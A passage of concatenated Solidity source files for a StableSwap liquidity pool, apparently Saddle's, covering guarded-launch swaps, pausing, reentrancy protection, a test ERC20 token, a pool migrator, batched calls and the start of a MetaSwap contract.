"./SwapUtilsGuarded.sol"; import "../MathUtils.sol"; import "./Allowlist.sol"; /** * @title Swap - A StableSwap implementation in solidity. * @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) * and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens * in desired ratios for an exchange of the pool token that represents their share of the pool. * Users can burn pool tokens and withdraw their share of token(s). * * Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets * distributed to the LPs. * * In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which * stops the ratio of the tokens in the pool from changing. * Users can always withdraw their tokens via multi-asset withdraws. * * @dev Most of the logic is stored as a library `SwapUtils` for the sake of reducing contract's * deployment size. */ contract SwapGuarded is OwnerPausable, ReentrancyGuard { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; using SwapUtilsGuarded for SwapUtilsGuarded.Swap; // Struct storing data responsible for automatic market maker functionalities. In order to // access this data, this contract uses SwapUtils library. For more details, see SwapUtilsGuarded.sol SwapUtilsGuarded.Swap public swapStorage; // Address to allowlist contract that holds information about maximum totaly supply of lp tokens // and maximum mintable amount per user address. As this is immutable, this will become a constant // after initialization. IAllowlist private immutable allowlist; // Boolean value that notates whether this pool is guarded or not. When isGuarded is true, // addLiquidity function will be restricted by limits defined in allowlist contract. bool private guarded = true; // Maps token address to an index in the pool. Used to prevent duplicate tokens in the pool. // getTokenIndex function also relies on this mapping to retrieve token index. mapping(address => uint8) private tokenIndexes; /*** EVENTS ***/ // events replicated from SwapUtils to make the ABI easier for dumb // clients event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); /** * @notice Deploys this Swap contract with given parameters as default * values. This will also deploy a LPToken that represents users * LP position. The owner of LPToken will be this contract - which means * only this contract is allowed to mint new tokens. * * @param _pooledTokens an array of ERC20s this pool will accept * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with * @param _withdrawFee default withdrawFee to be initialized with * @param _allowlist address of allowlist contract for guarded launch */ constructor( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, uint256 _withdrawFee, IAllowlist _allowlist ) public OwnerPausable() ReentrancyGuard() { // Check _pooledTokens and precisions parameter require(_pooledTokens.length > 1, "_pooledTokens.length <= 1"); require(_pooledTokens.length <= 32, "_pooledTokens.length > 32"); require( _pooledTokens.length == decimals.length, "_pooledTokens decimals mismatch" ); uint256[] memory precisionMultipliers = new uint256[](decimals.length); for (uint8 i = 0; i < _pooledTokens.length; i++) { if (i > 0) { // Check if index is already used. Check if 0th element is a duplicate. require( tokenIndexes[address(_pooledTokens[i])] == 0 && _pooledTokens[0] != _pooledTokens[i], "Duplicate tokens" ); } require( address(_pooledTokens[i]) != address(0), "The 0 address isn't an ERC-20" ); require( decimals[i] <= SwapUtilsGuarded.POOL_PRECISION_DECIMALS, "Token decimals exceeds max" ); precisionMultipliers[i] = 10 ** uint256(SwapUtilsGuarded.POOL_PRECISION_DECIMALS).sub( uint256(decimals[i]) ); tokenIndexes[address(_pooledTokens[i])] = i; } // Check _a, _fee, _adminFee, _withdrawFee, _allowlist parameters require(_a < SwapUtilsGuarded.MAX_A, "_a exceeds maximum"); require(_fee < SwapUtilsGuarded.MAX_SWAP_FEE, "_fee exceeds maximum"); require( _adminFee < SwapUtilsGuarded.MAX_ADMIN_FEE, "_adminFee exceeds maximum" ); require( _withdrawFee < SwapUtilsGuarded.MAX_WITHDRAW_FEE, "_withdrawFee exceeds maximum" ); require( _allowlist.getPoolCap(address(0x0)) == uint256(0x54dd1e), "Allowlist check failed" ); // Initialize swapStorage struct swapStorage.lpToken = new LPTokenGuarded( lpTokenName, lpTokenSymbol, SwapUtilsGuarded.POOL_PRECISION_DECIMALS ); swapStorage.pooledTokens = _pooledTokens; swapStorage.tokenPrecisionMultipliers = precisionMultipliers; swapStorage.balances = new uint256[](_pooledTokens.length); swapStorage.initialA = _a.mul(SwapUtilsGuarded.A_PRECISION); swapStorage.futureA = _a.mul(SwapUtilsGuarded.A_PRECISION); swapStorage.initialATime = 0; swapStorage.futureATime = 0; swapStorage.swapFee = _fee; swapStorage.adminFee = _adminFee; swapStorage.defaultWithdrawFee = _withdrawFee; // Initialize variables related to guarding the initial deposits allowlist = _allowlist; guarded = true; } /*** MODIFIERS ***/ /** * @notice Modifier to check deadline against current timestamp * @param deadline latest timestamp to accept this transaction */ modifier deadlineCheck(uint256 deadline) { require(block.timestamp <= deadline, "Deadline not met"); _; } /*** VIEW FUNCTIONS ***/ /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @return A parameter */ function getA() external view returns (uint256) { return swapStorage.getA(); } /** * @notice Return A in its raw precision form * @dev See the StableSwap paper for details * @return A parameter in its raw precision form */ function getAPrecise() external view returns (uint256) { return swapStorage.getAPrecise(); } /** * @notice Return address of the pooled token at given index. Reverts if tokenIndex is out of range. * @param index the index of the token * @return address of the token at given index */ function getToken(uint8 index) public view returns (IERC20) { require(index < swapStorage.pooledTokens.length, "Out of range"); return swapStorage.pooledTokens[index]; } /** * @notice Return the index of the given token address. Reverts if no matching * token is found. * @param tokenAddress address of the token * @return the index of the given token address */ function getTokenIndex(address tokenAddress) external view returns (uint8) { uint8 index = tokenIndexes[tokenAddress]; require( address(getToken(index)) == tokenAddress, "Token does not exist" ); return index; } /** * @notice Reads and returns the address of the allowlist that is set during deployment of this contract * @return the address of the allowlist contract casted to the IAllowlist interface */ function getAllowlist() external view returns (IAllowlist) { return allowlist; } /** * @notice Return timestamp of last deposit of given address * @return timestamp of the last deposit made by the given address */ function getDepositTimestamp(address user) external view returns (uint256) { return swapStorage.getDepositTimestamp(user); } /** * @notice Return current balance of the pooled token at given index * @param index the index of the token * @return current balance of the pooled token at given index with token's native precision */ function getTokenBalance(uint8 index) external view returns (uint256) { require(index < swapStorage.pooledTokens.length, "Index out of range"); return swapStorage.balances[index]; } /** * @notice Get the virtual price, to help calculate profit * @return the virtual price, scaled to the POOL_PRECISION_DECIMALS */ function getVirtualPrice() external view returns (uint256) { return swapStorage.getVirtualPrice(); } /** * @notice Calculate amount of tokens you receive on swap * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell. If the token charges * a fee on transfers, use the amount that gets transferred after the fee. * @return amount of tokens the user will receive */ function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256) { return swapStorage.calculateSwap(tokenIndexFrom, tokenIndexTo, dx); } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param account address that is depositing or withdrawing tokens * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return token amount the user will receive */ function calculateTokenAmount( address account, uint256[] calldata amounts, bool deposit ) external view returns (uint256) { return swapStorage.calculateTokenAmount(account, amounts, deposit); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of LP tokens * @param account the address that is withdrawing tokens * @param amount the amount of LP tokens that would be burned on withdrawal * @return array of token balances that the user will receive */ function calculateRemoveLiquidity(address account, uint256 amount) external view returns (uint256[] memory) { return swapStorage.calculateRemoveLiquidity(account, amount); } /** * @notice Calculate the amount of underlying token available to withdraw * when withdrawing via only single token * @param account the address that is withdrawing tokens * @param tokenAmount the amount of LP token to burn * @param tokenIndex index of which token will be withdrawn * @return availableTokenAmount calculated amount of underlying token * available to withdraw */ function calculateRemoveLiquidityOneToken( address account, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256 availableTokenAmount) { (availableTokenAmount, ) = swapStorage.calculateWithdrawOneToken( account, tokenAmount, tokenIndex ); } /** * @notice Calculate the fee that is applied when the given user withdraws. The withdraw fee * decays linearly over period of 4 weeks. For example, depositing and withdrawing right away * will charge you the full amount of withdraw fee. But withdrawing after 4 weeks will charge you * no additional fees. * @dev returned value should be divided by FEE_DENOMINATOR to convert to correct decimals * @param user address you want to calculate withdraw fee of * @return current withdraw fee of the user */ function calculateCurrentWithdrawFee(address user) external view returns (uint256) { return swapStorage.calculateCurrentWithdrawFee(user); } /** * @notice This function reads the accumulated amount of admin fees of the token with given index * @param index Index of the pooled token * @return admin's token balance in the token's precision */ function getAdminBalance(uint256 index) external view returns (uint256) { return swapStorage.getAdminBalance(index); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice Swap two tokens using this pool * @param tokenIndexFrom the token the user wants to swap from * @param tokenIndexTo the token the user wants to swap to * @param dx the amount of tokens the user wants to swap from * @param minDy the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction */ function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.swap(tokenIndexFrom, tokenIndexTo, dx, minDy); } /** * @notice Add liquidity to the pool with given amounts during guarded launch phase. Only users * with valid address and proof can successfully call this function. When this function is called * after the guarded release phase is over, the merkleProof is ignored. * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * @param deadline latest timestamp to accept this transaction * @param merkleProof data generated when constructing the allowlist merkle tree. Users can * get this data off chain. Even if the address is in the allowlist, users must include * a valid proof for this call to succeed. If the pool is no longer in the guarded release phase, * this parameter is ignored. * @return amount of LP token user minted and received */ function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline, bytes32[] calldata merkleProof ) external nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.addLiquidity(amounts, minToMint, merkleProof); } /** * @notice Burn LP tokens to remove liquidity from the pool. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @dev Liquidity can always be removed, even when the pool is paused. * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amounts of tokens user received */ function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external nonReentrant deadlineCheck(deadline) returns (uint256[] memory) { return swapStorage.removeLiquidity(amount, minAmounts); } /** * @notice Remove liquidity from the pool all in one token. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param tokenAmount the amount of the token you want to receive * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @param deadline latest timestamp to accept this transaction * @return amount of chosen token user received */ function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityOneToken( tokenAmount, tokenIndex, minAmount ); } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @param deadline latest timestamp to accept this transaction * @return amount of LP tokens burned */ function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityImbalance(amounts, maxBurnAmount); } /*** ADMIN FUNCTIONS ***/ /** * @notice Updates the user withdraw fee. This function can only be called by * the pool token. Should be used to update the withdraw fee on transfer of pool tokens. * Transferring your pool token will reset the 4 weeks period. If the recipient is already * holding some pool tokens, the withdraw fee will be discounted in respective amounts. * @param recipient address of the recipient of pool token * @param transferAmount amount of pool token to transfer */ function updateUserWithdrawFee(address recipient, uint256 transferAmount) external { require( msg.sender == address(swapStorage.lpToken), "Only callable by pool token" ); swapStorage.updateUserWithdrawFee(recipient, transferAmount); } /** * @notice Withdraw all admin fees to the contract owner */ function withdrawAdminFees() external onlyOwner { swapStorage.withdrawAdminFees(owner()); } /** * @notice Update the admin fee. Admin fee takes portion of the swap fee. * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(uint256 newAdminFee) external onlyOwner { swapStorage.setAdminFee(newAdminFee); } /** * @notice Update the swap fee to be applied on swaps * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(uint256 newSwapFee) external onlyOwner { swapStorage.setSwapFee(newSwapFee); } /** * @notice Update the withdraw fee. This fee decays linearly over 4 weeks since * user's last deposit. * @param newWithdrawFee new withdraw fee to be applied on future deposits */ function setDefaultWithdrawFee(uint256 newWithdrawFee) external onlyOwner { swapStorage.setDefaultWithdrawFee(newWithdrawFee); } /** * @notice Start ramping up or down A parameter towards given futureA and futureTime * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param futureA the new A to ramp towards * @param futureTime timestamp when the new A should be reached */ function rampA(uint256 futureA, uint256 futureTime) external onlyOwner { swapStorage.rampA(futureA, futureTime); } /** * @notice Stop ramping A immediately. Reverts if ramp A is already stopped. */ function stopRampA() external onlyOwner { swapStorage.stopRampA(); } /** * @notice Disables the guarded launch phase, removing any limits on deposit amounts and addresses */ function disableGuard() external onlyOwner { guarded = false; } /** * @notice Reads and returns current guarded status of the pool * @return guarded_ boolean value indicating whether the deposits should be guarded */ function isGuarded() external view returns (bool) { return guarded; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Pausable.sol"; /** * @title OwnerPausable * @notice An ownable contract allows the owner to pause and unpause the * contract without a delay. * @dev Only methods using the provided modifiers will be paused. */ contract OwnerPausable is Ownable, Pausable { /** * @notice Pause the contract. Revert if already paused. */ function pause() external onlyOwner { Pausable._pause(); } /** * @notice Unpause the contract. Revert if already unpaused. */ function unpause() external onlyOwner { Pausable._unpause(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () internal { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title Generic ERC20 token * @notice This contract simulates a generic ERC20 token that is mintable and burnable. */ contract GenericERC20 is ERC20, Ownable { /** * @notice Deploy this contract with given name, symbol, and decimals * @dev the caller of this constructor will become the owner of this contract * @param name_ name of this token * @param symbol_ symbol of this token * @param decimals_ number of decimals this token will be based on */ constructor( string memory name_, string memory symbol_, uint8 decimals_ ) public ERC20(name_, symbol_) { _setupDecimals(decimals_); } /** * @notice Mints given amount of tokens to recipient * @dev only owner can call this mint function * @param recipient address of account to receive the tokens * @param amount amount of tokens to mint */ function mint(address recipient, uint256 amount) external onlyOwner { require(amount != 0, "amount == 0"); _mint(recipient, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./interfaces/ISwap.sol"; import "./helper/BaseBoringBatchable.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** * @title GeneralizedSwapMigrator * @notice This contract is responsible for migration liquidity between pools * Users can use this contract to remove their liquidity from the old pools and add them to the new * ones with a single transaction. */ contract GeneralizedSwapMigrator is Ownable, BaseBoringBatchable { using SafeERC20 for IERC20; struct MigrationData { address newPoolAddress; IERC20 oldPoolLPTokenAddress; IERC20 newPoolLPTokenAddress; IERC20[] tokens; } uint256 private constant MAX_UINT256 = 2**256 - 1; mapping(address => MigrationData) public migrationMap; event AddMigrationData(address indexed oldPoolAddress, MigrationData mData); event Migrate( address indexed migrator, address indexed oldPoolAddress, uint256 oldLPTokenAmount, uint256 newLPTokenAmount ); constructor() public Ownable() {} /** * @notice Add new migration data to the contract * @param oldPoolAddress pool address to migrate from * @param mData MigrationData struct that contains information of the old and new pools * @param overwrite should overwrite existing migration data */ function addMigrationData( address oldPoolAddress, MigrationData memory mData, bool overwrite ) external onlyOwner { // Check if (!overwrite) { require( address(migrationMap[oldPoolAddress].oldPoolLPTokenAddress) == address(0), "cannot overwrite existing migration data" ); } require( address(mData.oldPoolLPTokenAddress) != address(0), "oldPoolLPTokenAddress == 0" ); require( address(mData.newPoolLPTokenAddress) != address(0), "newPoolLPTokenAddress == 0" ); for (uint8 i = 0; i < 32; i++) { address oldPoolToken; try ISwap(oldPoolAddress).getToken(i) returns (IERC20 token) { oldPoolToken = address(token); } catch { require(i > 0, "Failed to get tokens underlying Saddle pool."); oldPoolToken = address(0); } try ISwap(mData.newPoolAddress).getToken(i) returns (IERC20 token) { require( oldPoolToken == address(token) && oldPoolToken == address(mData.tokens[i]), "Failed to match tokens list" ); } catch { require(i > 0, "Failed to get tokens underlying Saddle pool."); require( oldPoolToken == address(0) && i == mData.tokens.length, "Failed to match tokens list" ); break; } } // Effect migrationMap[oldPoolAddress] = mData; // Interaction // Approve old LP Token to be used for withdraws. mData.oldPoolLPTokenAddress.approve(oldPoolAddress, MAX_UINT256); // Approve underlying tokens to be used for deposits. for (uint256 i = 0; i < mData.tokens.length; i++) { mData.tokens[i].safeApprove(mData.newPoolAddress, 0); mData.tokens[i].safeApprove(mData.newPoolAddress, MAX_UINT256); } emit AddMigrationData(oldPoolAddress, mData); } /** * @notice Migrates saddle LP tokens from a pool to another * @param oldPoolAddress pool address to migrate from * @param amount amount of LP tokens to migrate * @param minAmount of new LP tokens to receive */ function migrate( address oldPoolAddress, uint256 amount, uint256 minAmount ) external returns (uint256) { // Check MigrationData memory mData = migrationMap[oldPoolAddress]; require( address(mData.oldPoolLPTokenAddress) != address(0), "migration is not available" ); // Interactions // Transfer old LP token from the caller mData.oldPoolLPTokenAddress.safeTransferFrom( msg.sender, address(this), amount ); // Remove liquidity from the old pool uint256[] memory amounts = ISwap(oldPoolAddress).removeLiquidity( amount, new uint256[](mData.tokens.length), MAX_UINT256 ); // Add acquired liquidity to the new pool uint256 mintedAmount = ISwap(mData.newPoolAddress).addLiquidity( amounts, minAmount, MAX_UINT256 ); // Transfer new LP Token to the caller mData.newPoolLPTokenAddress.safeTransfer(msg.sender, mintedAmount); emit Migrate(msg.sender, oldPoolAddress, amount, mintedAmount); return mintedAmount; } /** * @notice Rescues any token that may be sent to this contract accidentally. * @param token Amount of old LPToken to migrate * @param to Minimum amount of new LPToken to receive */ function rescue(IERC20 token, address to) external onlyOwner { token.safeTransfer(to, token.balanceOf(address(this))); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // solhint-disable avoid-low-level-calls // solhint-disable no-inline-assembly // Audit on 5-Jan-2021 by Keno and BoringCrypto // WARNING!!! // Combining BoringBatchable with msg.value can cause double spending issues // https://www.paradigm.xyz/2021/08/two-rights-might-make-a-wrong/ contract BaseBoringBatchable { /// @dev Helper function to extract a useful revert message from a failed call. /// If the returned data is malformed or not correctly abi encoded then this call can fail itself. function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_returnData.length < 68) return "Transaction reverted silently"; assembly { // Slice the sighash. _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // All that remains is the revert string } /// @notice Allows batched call to self (this contract). /// @param calls An array of inputs for each call. /// @param revertOnFail If True then reverts after a failed call and stops doing further calls. // F1: External is ok here because this is the batch function, adding it to a batch makes no sense // F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value // C3: The length of the loop is fully under user control, so can't be exploited // C7: Delegatecall is only used on the same contract, so it's safe function batch(bytes[] calldata calls, bool revertOnFail) external payable { for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall( calls[i] ); if (!success && revertOnFail) { revert(_getRevertMsg(result)); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "../Swap.sol"; import "./MetaSwapUtils.sol"; /** * @title MetaSwap - A StableSwap implementation in solidity. * @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) * and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens * in desired ratios for an exchange of the pool token that represents their share of the pool. * Users can burn pool tokens and withdraw their share of token(s). * * Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets * distributed to the LPs. * * In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which * stops the ratio of the tokens in the pool from changing. * Users can always withdraw their tokens via multi-asset withdraws. * * MetaSwap is a modified version of Swap that allows Swap's LP token to be utilized in pooling with other tokens. * As an example, if there is a Swap pool consisting of [DAI, USDC, USDT], then a MetaSwap pool can be created * with [sUSD, BaseSwapLPToken] to allow trades between either the LP token or the underlying tokens and sUSD. * Note that when interacting with MetaSwap, users cannot deposit or withdraw via underlying tokens. In that case, * `MetaSwapDeposit.sol` can be additionally deployed to allow interacting with unwrapped representations of the tokens. * * @dev Most of the logic is stored as a library `MetaSwapUtils` for the sake of reducing contract's * deployment size. */ contract MetaSwap is Swap { using MetaSwapUtils for SwapUtils.Swap; MetaSwapUtils.MetaSwap public metaSwapStorage; uint256 constant MAX_UINT256 = 2**256 - 1; /*** EVENTS ***/ // events replicated from SwapUtils to make the ABI easier for dumb // clients event TokenSwapUnderlying( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); /** * @notice Get the virtual price, to help calculate profit * @return the virtual price, scaled to the POOL_PRECISION_DECIMALS */ function getVirtualPrice() external view virtual override returns (uint256) { return MetaSwapUtils.getVirtualPrice(swapStorage, metaSwapStorage); } /** * @notice Calculate amount of tokens you receive on swap * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell. If the token charges * a fee on transfers, use the amount that gets transferred after the fee. * @return amount of tokens the user will receive */ function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view virtual override returns (uint256) { return MetaSwapUtils.calculateSwap( swapStorage, metaSwapStorage, tokenIndexFrom, tokenIndexTo, dx ); } /** * @notice Calculate amount of tokens you receive on swap. For this function, * the token indices are flattened out so that underlying tokens are represented. * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell. If the token charges * a fee on transfers, use the amount that gets transferred after the fee. * @return amount of tokens the user will receive */ function calculateSwapUnderlying( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view virtual returns (uint256) { return MetaSwapUtils.calculateSwapUnderlying( swapStorage, metaSwapStorage, tokenIndexFrom, tokenIndexTo, dx ); } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return token amount the user will receive */ function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view virtual override returns (uint256) { return MetaSwapUtils.calculateTokenAmount( swapStorage, metaSwapStorage, amounts, deposit ); } /** * @notice Calculate the amount of underlying token available to withdraw * when withdrawing via only single token * @param tokenAmount the amount of LP token to burn * @param tokenIndex index of which token will be withdrawn * @return availableTokenAmount calculated amount of underlying token * available to withdraw */ function calculateRemoveLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex ) external view virtual override returns (uint256) { return MetaSwapUtils.calculateWithdrawOneToken( swapStorage, metaSwapStorage, tokenAmount, tokenIndex ); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice This overrides Swap's initialize function to prevent initializing * without the address of the base Swap contract. * * @param _pooledTokens an array of ERC20s this pool will accept * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with */ function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress ) public virtual override initializer { revert("use initializeMetaSwap() instead"); } /** * @notice Initializes this MetaSwap contract with the given parameters. * MetaSwap uses an existing Swap pool to expand the available liquidity. * _pooledTokens array should contain the base Swap pool's LP token as * the last element. For example, if there is a Swap pool consisting of * [DAI, USDC, USDT]. Then a MetaSwap pool can be created with [sUSD, BaseSwapLPToken] * as _pooledTokens. * * This will also deploy the LPToken that represents users' * LP position. The owner of LPToken will be this contract - which means * only this contract is allowed to mint new tokens. * * @param _pooledTokens an array of ERC20s this pool will accept. The last * element must be an existing Swap pool's LP token's address. * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with */ function initializeMetaSwap( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress, ISwap baseSwap ) external virtual initializer { Swap.initialize( _pooledTokens, decimals, lpTokenName, lpTokenSymbol, _a, _fee, _adminFee, lpTokenTargetAddress ); // MetaSwap initializer metaSwapStorage.baseSwap = baseSwap; metaSwapStorage.baseVirtualPrice = baseSwap.getVirtualPrice(); 